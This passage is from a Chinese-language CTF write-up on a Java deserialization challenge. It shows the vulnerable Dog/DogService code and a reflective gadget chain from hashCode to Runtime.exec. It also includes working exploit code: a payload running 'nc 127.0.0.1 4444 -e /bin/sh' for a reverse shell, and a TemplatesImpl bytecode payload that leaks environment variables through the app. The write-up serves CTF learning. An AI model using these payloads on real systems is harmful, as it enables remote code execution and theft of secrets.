                        if (objectInputStream != null) {
                            if (th2 != null) {
                                try {
                                    objectInputStream.close();
                                } catch (Throwable th6) {
                                    th2.addSuppressed(th6);
                                }
                            } else {
                                objectInputStream.close();
                            }
                        }
                        throw th5;
                    }
                } catch (Throwable th7) {
                    th2 = th7;
                    throw th7;
                }
            } finally {
            }
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

逻辑简单,主要利用点在

package com.example.demo.Dog;
import java.io.Serializable;
import java.util.Objects;
public class Dog implements Serializable, DogModel {
    public int hashCode() {
        wagTail(this.object, this.methodName, this.paramTypes, this.args);
        return Objects.hash(Integer.valueOf(this.id));
    }
}
package com.example.demo.Dog;
import java.lang.reflect.Method;
public interface DogModel {
    default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(methodName, paramTypes);
            return method.invoke(input, args);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }
}
package com.example.demo.Dog;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Collection;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class DogService implements Serializable {
    private Map<Integer, Dog> dogs = new HashMap();
    private int nextId = 1;
    public List<Dog> getAllDogs() {
        return new ArrayList(this.dogs.values());
    }
    public Object chainWagTail() {
        Object input = null;
        for (Dog dog : this.dogs.values()) {
            if (input == null) {
                input = dog.object;
            }
            Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
            input = result;
        }
        return input;
    }
    public void importDogsBase64(String base64Data) {
        try {
            try {
                ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data));
                Throwable th = null;
                ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
                Throwable th2 = null;
                try {
                    try {
                        for (Dog dog : (Collection<Dog>) objectInputStream.readObject()) {
                            int i = this.nextId;
                            this.nextId = i + 1;
                            dog.setId(i);
                            this.dogs.put(Integer.valueOf(dog.getId()), dog);
                        }
                        if (objectInputStream != null) {
                            if (0 != 0) {
                                try {
                                    objectInputStream.close();
                                } catch (Throwable th3) {
                                    th2.addSuppressed(th3);
                                }
                            } else {
                                objectInputStream.close();
                            }
                        }
                        if (byteArrayInputStream != null) {
                            if (0 != 0) {
                                try {
                                    byteArrayInputStream.close();
                                } catch (Throwable th4) {
                                    th.addSuppressed(th4);
                                }
                            } else {
                                byteArrayInputStream.close();
                            }
                        }
                    } catch (Throwable th5) {
                        if (objectInputStream != null) {
                            if (th2 != null) {
                                try {
                                    objectInputStream.close();
                                } catch (Throwable th6) {
                                    th2.addSuppressed(th6);
                                }
                            } else {
                                objectInputStream.close();
                            }
                        }
                        throw th5;
                    }
                } catch (Throwable th7) {
                    th2 = th7;
                    throw th7;
                }
            } finally {
            }
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

漏洞出发点在importDogsBase64函数,支持导入base64编码的字符串,接着解密后会进行反序列化。

可以观察到

default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(methodName, paramTypes);
            return method.invoke(input, args);
        } 

这个函数会进行反射调用方法。可以用来命令执行。那这个就是出口函数。

接着看到

public int hashCode() {
        wagTail(this.object, this.methodName, this.paramTypes, this.args);
        return Objects.hash(Integer.valueOf(this.id));
    }

这个hashCode会调用wagTail()函数。

hashCode的触发条件是什么?

hashCode() 主要在对象被用作哈希集合的键或元素时自动触发

所以我们只要把包装好的对象放入hashmap的键即可

所以思路就是,我们构造恶意Dog对象放入hashmap,反序列化时触发hashcode从而调用wagTail函数。

但是问题来了,只能调用一次wagTail函数,但是又因为Runtime类是unserlizable的。所以直接传入Runtime.getRuntime()是不能成功的。需要利用

public Object chainWagTail() {
        Object input = null;
        for (Dog dog : this.dogs.values()) {
            if (input == null) {
                input = dog.object;
            }
            Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
            input = result;
        }
        return input;
    }

这个函数来多次反射调用。这个函数会遍历dogs列表。并在每次遍历调用wagTail函数。

所以我们要构造多个恶意dog对象,将它们放入Map中,便会通过循环来执行命令。

最终思路就是:通过触发hashcode来第一次调用wagTail函数,wagTail函数调用结果为触发DogService中的chainWagTail函数。chainWagTail函数会进行多次调用wagTail函数从而执行命令。

Exp:

import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogService;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Exp {
    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    public static void deserialize(String base64Data) throws IOException,ClassNotFoundException {
        ByteArrayInputStream bais=new ByteArrayInputStream(Base64.getDecoder().decode(base64Data));
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();

    }

    public static Dog setDog(Object i,String m,Class[] p,Object[] a) throws NoSuchFieldException,IllegalAccessException{

        Dog dog = new Dog(2,"a","a",2);
        Field input = Dog.class.getDeclaredField("object");
        input.setAccessible(true);
        input.set(dog,i);

        Field methodName=Dog.class.getDeclaredField("methodName");
        methodName.setAccessible(true);
        methodName.set(dog,m);

        Field paramTypes=Dog.class.getDeclaredField("paramTypes");
        paramTypes.setAccessible(true);
        paramTypes.set(dog,p);

        Field arg =Dog.class.getDeclaredField("args");
        arg.setAccessible(true);
        arg.set(dog,a);
        return dog;

    }
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Map<Object, Object> map = new HashMap<>();
        Dog dog1 = setDog(Runtime.class,"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});
        Dog dog2 = setDog(Runtime.class,"invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
        Dog dog3 = setDog(Runtime.class,"exec", new Class[]{String.class}, new Object[]{"nc 127.0.0.1 4444 -e /bin/sh"});

        //反射获取dogService类的dogs字段
        DogService dogService = new DogService();
        Field dogs = dogService.getClass().getDeclaredField("dogs");
        dogs.setAccessible(true);
        //反射返回的是 Object 类型,需要强制转换为正确类型 Map<Integer, Dog>
        //现在dogsMap就是dogService内部字段dogs的一个引用,可以直接操作它
        Map<Integer, Dog> dogsMap = (Map<Integer, Dog>) dogs.get(dogService);

        //放入构造好的dog触发链
        dogsMap.put(1,dog1);
        dogsMap.put(2,dog2);
        dogsMap.put(3,dog3);

        //构造dog4来触发dogService的chainWagTail方法
        Dog dog4 = setDog(dogService,"chainWagTail",new Class[]{},new Object[]{});

        //放入HashMap,反序列化时调用key.hashcode(),也就是dog4.hashcode()
        map.put(dog4,"a");

        //生成序列化字符串
        String ser=serialize(map);
        System.out.println(ser);
        deserialize(ser);

    }
}

将得到的base64上传。靶机监听得到:

image-20251016192120049

附加挑战

这题磨几天最终放弃…..靶机不出网,不能弹shell了.

赛后看只能TemplatesImpl链打回显

最终payload:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class Evil extends AbstractTranslet {

    static {
        try {
            Object reqAttrs = Class.forName("org.springframework.web.context.request.RequestContextHolder")
                    .getMethod("getRequestAttributes").invoke(null);
            if (reqAttrs != null) {
                Object req = Class.forName("org.springframework.web.context.request.ServletRequestAttributes")
                        .getMethod("getRequest").invoke(reqAttrs);
                Object servletContext = req.getClass().getMethod("getServletContext").invoke(req);
                Object wac = Class.forName("org.springframework.web.context.support.WebApplicationContextUtils")
                        .getMethod("getWebApplicationContext", Class.forName("javax.servlet.ServletContext"))
                        .invoke(null, servletContext);
                if (wac != null) {
                    Class<?> dogServiceClass = Class.forName("com.example.demo.Dog.DogService");
                    Object dogService = wac.getClass().getMethod("getBean", Class.class).invoke(wac, dogServiceClass);

                    java.lang.reflect.Field dogsField = dogServiceClass.getDeclaredField("dogs");
                    dogsField.setAccessible(true);
                    @SuppressWarnings("unchecked")
                    java.util.Map<Integer,Object> dogs = (java.util.Map<Integer,Object>) dogsField.get(dogService);

                    Class<?> dogClass = Class.forName("com.example.demo.Dog.Dog");
                    java.lang.reflect.Constructor<?> ctor = dogClass.getDeclaredConstructor(int.class, String.class, String.class, int.class);
                    ctor.setAccessible(true);

                    String envStr = java.lang.System.getenv().toString();
                    Object newDog = ctor.newInstance(Integer.valueOf(9999), envStr, "env", Integer.valueOf(1));

                    dogs.put(Integer.valueOf(9999), newDog);
                }
            }
        } catch (Throwable t) {

        }
    }

    public Evil() {

    }

    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document,
                          com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator,
                          com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {

    }

    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document,
                          com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {

    }
}

编译生成Evil.class。然后运行

import com.example.demo.Dog.Dog;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class PayloadGenerator {

    private static void setField(Object target, String name, Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(target, value);
    }

    private static byte[] readClassFromResource(String resourcePath) {
        try (InputStream is = PayloadGenerator.class.getResourceAsStream(resourcePath)) {
            if (is == null) {
                return null;
            }
            ByteArrayOutputStream buffer = new ByteArrayOutputStream();
            int nRead;
            byte[] data = new byte[1024];
            while ((nRead = is.read(data, 0, data.length)) != -1) {
                buffer.write(data, 0, nRead);
            }
            return buffer.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public static void main(String[] args) throws Exception {
        // 从classpath资源读取 Evil.class
        byte[] classBytes = readClassFromResource("Evil.class");
        System.out.println("成功读取 Evil.class,大小: " + classBytes.length + " 字节");

        // 将 class 字节直接用于 TemplatesImpl
        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_bytecodes", new byte[][]{classBytes});
        setField(templates, "_name", "123");
        setField(templates, "_tfactory", new TransformerFactoryImpl());
        setField(templates, "_class", null);

        // 构造目标 Dog 实例
        Dog dog = new Dog(1, "a", "a", 1);
        // 初始占位字段
        setField(dog, "object", "123");
        setField(dog, "methodName", "toString");
        setField(dog, "paramTypes", new Class[] {});
        setField(dog, "args", new Object[] {});

        //加入HashSet用来触发HashCode
        Map<Object,String> map = new HashMap<>();
        map.put(dog,"a");

        // 把 templates 注入 dog
        setField(dog, "object", templates);
        setField(dog, "methodName", "newTransformer");
        setField(dog, "paramTypes", new Class[] {});
        setField(dog, "args", new Object[] {});

        // 序列化 set 并输出 Base64 字符串
        try (
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                ObjectOutputStream oos = new ObjectOutputStream(baos)
        ) {
            oos.writeObject(map);
            String b64 = Base64.getEncoder().encodeToString(baos.toByteArray());
            System.out.println("Base64 Payload:");
            System.out.println(b64);
        }
    }
}

参考:

https://github.com/XDSEC/MoeCTF_2025/blob/main/writeups/CopperKoi/Web/WebWP.md

https://www.xiaotian.org.cn/2025/09/20/2025Moectf-Web-23%E7%AB%A0/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇